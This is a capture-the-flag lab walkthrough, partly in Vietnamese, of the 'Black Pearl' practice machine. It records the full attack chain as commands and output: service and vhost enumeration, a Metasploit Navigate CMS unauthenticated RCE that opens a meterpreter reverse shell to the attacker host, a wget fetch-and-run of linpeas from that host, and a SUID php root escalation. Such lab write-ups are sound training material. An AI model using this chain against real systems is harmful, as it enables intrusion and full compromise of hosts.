Black Pearl

Tuesday, August 2, 2022

11:00 PM

nmap -A -p- -T4 192.168.1.11

Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-08-02 23:55 EDT

Nmap scan report for 192.168.1.11

Host is up (0.0023s latency).

Not shown: 65532 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

| ssh-hostkey:

| 2048 66:38:14:50:ae:7d:ab:39:72:bf:41:9c:39:25:1a:0f (RSA)

| 256 a6:2e:77:71:c6:49:6f:d5:73:e9:22:7d:8b:1c:a9:c6 (ECDSA)

|\_ 256 89:0b:73:c1:53:c8:e1:88:5e:c3:16:de:d1:e5:26:0d (ED25519)

53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u5 (Debian Linux)

| dns-nsid:

|\_ bind.version: 9.11.5-P4-5.1+deb10u5-Debian

80/tcp open http nginx 1.14.2

|\_http-title: Welcome to nginx!

|\_http-server-header: nginx/1.14.2

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 18.72 seconds

ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u <http://192.168.1.11/FUZZ>

secret [Status: 200, Size: 209, Words: 31, Lines: 9, Duration: 43ms]

down file secret thì không có thêm thông tin gì

dnsrecon -r 127.0.0/24 -n 192.168.1.11 -d blah

[\*] Performing Reverse Lookup from 127.0.0.0 to 127.0.0.255

[+] PTR blackpearl.tcm 127.0.0.1

[+] 1 Records Found

thêm vhost vào /etc/hosts

ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u <http://blackpearl.tcm/FUZZ>

navigate [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 68ms]

vào link navigate thì biết được web dùng navigate cms

msfconsole -q

msf6 > search navigate cms

Matching Modules

================

# Name Disclosure Date Rank Check Description

- ---- --------------- ---- ----- -----------

0 exploit/multi/http/navigate\_cms\_rce 2018-09-26 excellent Yes Navigate CMS Unauthenticated Remote Code Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/navigate\_cms\_rce

msf6 > use 0

[\*] No payload configured, defaulting to php/meterpreter/reverse\_tcp

msf6 exploit(multi/http/navigate\_cms\_rce) > options

Module options (exploit/multi/http/navigate\_cms\_rce):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS yes The target host(s), see <https://github.com/rapid7/metasploit-framework/wi>

ki/Using-Metasploit

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI /navigate/ yes Base Navigate CMS directory path

VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse\_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 192.168.1.6 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic

msf6 exploit(multi/http/navigate\_cms\_rce) > set RHOSTS 192.168.1.11

RHOSTS => 192.168.1.11

msf6 exploit(multi/http/navigate\_cms\_rce) > set VHOST blackpearl.tcm

VHOST => blackpearl.tcm

msf6 exploit(multi/http/navigate\_cms\_rce) > run

[\*] Started reverse TCP handler on 192.168.1.6:4444

[+] Login bypass successful

[+] Upload successful

[\*] Triggering payload...

[\*] Sending stage (39860 bytes) to 192.168.1.11

[\*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.11:55604 ) at 2022-08-03 02:48:34 -0400

meterpreter > shell

Process 1366 created.

Channel 1 created.

whoami

www-data

python -c 'import pty;pty.spawn("/bin/bash")'

www-data@blackpearl:~/blackpearl.tcm/navigate$ sudo -l

sudo -l

bash: sudo: command not found

Không có quyền sudo, sử dụng linpeas để enum

www-data@blackpearl:~/blackpearl.tcm/navigate$ wget <http://192.168.1.6/linpeas.sh>

www-data@blackpearl:~/blackpearl.tcm/navigate$ ./linpeas.sh

SUID - Check easy privesc, exploits and write perms

╚ <https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid>

strings Not Found

strace Not Found

-rwsr-xr-- 1 root messagebus 50K Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

-rwsr-xr-x 1 root root 10K Mar 28 2017 /usr/lib/eject/dmcrypt-get-device

-rwsr-xr-x 1 root root 427K Jan 31 2020 /usr/lib/openssh/ssh-keysign

-rwsr-xr-x 1 root root 35K Jan 10 2019 /usr/bin/umount ---> BSD/Linux(08-1996)

-rwsr-xr-x 1 root root 44K Jul 27 2018 /usr/bin/newgrp ---> HP-UX\_10.20

-rwsr-xr-x 1 root root 51K Jan 10 2019 /usr/bin/mount ---> Apple\_Mac\_OSX(Lion)\_Kernel\_xnu-1699.32.7\_except\_xnu-1699.24.8

-rwsr-xr-x 1 root root 4.6M Feb 13 2021 /usr/bin/php7.3 (Unknown SUID binary!)

-rwsr-xr-x 1 root root 63K Jan 10 2019 /usr/bin/su

-rwsr-xr-x 1 root root 53K Jul 27 2018 /usr/bin/chfn ---> SuSE\_9.3/10

-rwsr-xr-x 1 root root 63K Jul 27 2018 /usr/bin/passwd ---> Apple\_Mac\_OSX(03-2006)/Solaris\_8/9(12-2004)/SPARC\_8/9/Sun\_Solaris\_2.3\_to\_2.5.1(02-1997)

-rwsr-xr-x 1 root root 44K Jul 27 2018 /usr/bin/chsh

-rwsr-xr-x 1 root root 83K Jul 27 2018 /usr/bin/gpasswd

Hoặc dùng lệnh để kiểm tra suid

www-data@blackpearl:~/blackpearl.tcm/navigate$ find / -type f -perm /4000 2>/dev/null

<cm/navigate$ find / -type f -perm /4000 2>/dev/null

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/usr/lib/eject/dmcrypt-get-device

/usr/lib/openssh/ssh-keysign

/usr/bin/umount

/usr/bin/newgrp

/usr/bin/mount

/usr/bin/php7.3

/usr/bin/su

/usr/bin/chfn

/usr/bin/passwd

/usr/bin/chsh

/usr/bin/gpasswd

Dùng gtfobins để tra cứu suid

<https://gtfobins.github.io/gtfobins/php/>

phần suid có lệnh tham khảo như sau

sudo install -m =xs $(which php) .

CMD="/bin/sh"

./php -r "pcntl\_exec('/bin/sh', ['-p']);"

Ta chỉnh lại đường dẫn php thành như sau:

www-data@blackpearl:~/blackpearl.tcm/navigate$ /usr/bin/php7.3 -r "pcntl\_exec('/bin/sh', ['-p']);"

</usr/bin/php7.3 -r "pcntl\_exec('/bin/sh', ['-p']);"

# whoami

root

# cd root

# ls

flag.txt

# cat flag.txt

Good job on this one.

Finding the domain name may have been a little guessy,

but the goal of this box is mainly to teach about Virtual Host Routing which is used in a lot of CTF.